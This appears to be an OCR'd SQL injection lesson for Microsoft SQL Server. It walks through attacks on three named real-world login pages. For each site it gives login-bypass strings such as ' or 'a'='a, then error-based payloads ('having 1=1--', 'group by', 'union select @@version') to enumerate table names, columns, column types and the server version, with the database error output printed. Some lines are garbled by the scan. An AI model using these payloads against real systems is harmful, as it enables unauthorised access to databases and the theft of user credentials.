SQL Injection (Lesson 3)
(Using SQL Server)
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http:/ /www.sci-bridge.com/shop/admin/login.asp
- Login: '
- Pass:

The page cannot be displayed
- Login: admin’ or 'a='a
- Pass: admin’ or 'a="a

http://www.rcii-ir.org/PSITE/member/login.asp
- Login: '

- Pass:

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression ‘username="AND password="".
/PSITE/member/login.asp, line 35

- Login: ‘or'a='a
- Pass: 'or'a='a

http://engineering.ripi.ir/admin/login.asp

- Login: '
- Pass:

The page cannot be displayed
- Login: " or "='

- Pass: ' or "=
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http://www.sci-bridge.com/shopa/dmin/login.asp
http://www.rcii-ir.org/PSITE/member/login.asp
http://engineering.ripi.ir/admin/login.asp
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getting table names
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- Login: "having 1=1--
- Pass: a

39t o Juol> o5 aseis g
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's table.username' isinvalid in the select list because it is
not contained in an aggregate function and there is no GROUP
BY clause.
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s table=thetable name
username=thefirst column name
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getting column names

- Login: ' group by s _table.username having 1=1--
- Pass: a

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's table.password' isinvalid in the select list because it is
not contained in an aggregate function and there is no GROUP

BY clause.
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- Login: ' group by s_table.username,s_table.password having 1=1--
- Pass: a

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's table.Active' isinvalid in the select list because it is
not contained in an aggregate function and there is no GROUP

BY clause.

- Login: ' group by s_table.username,s_table.password,s_table. Active having 1=1--
- Pass: a
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getting column types

- Login: " union select sum(username) froms_table--
- Pass: a
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non-numerical: The sum or average aggregate operation cannot take a varchar data type
as an argument.

numerical: ai queries in an SQL statement containing a UNION operator must have an equal
number of expressions in their target lists

getting the version number of server

- Login: ' union select @@version, 1,1,1--
- Pass: a

Syntax error converting the nvarchar value 'Microsoft SQL
Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 20:37:43
Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 4) 'to a
column of datatype int.
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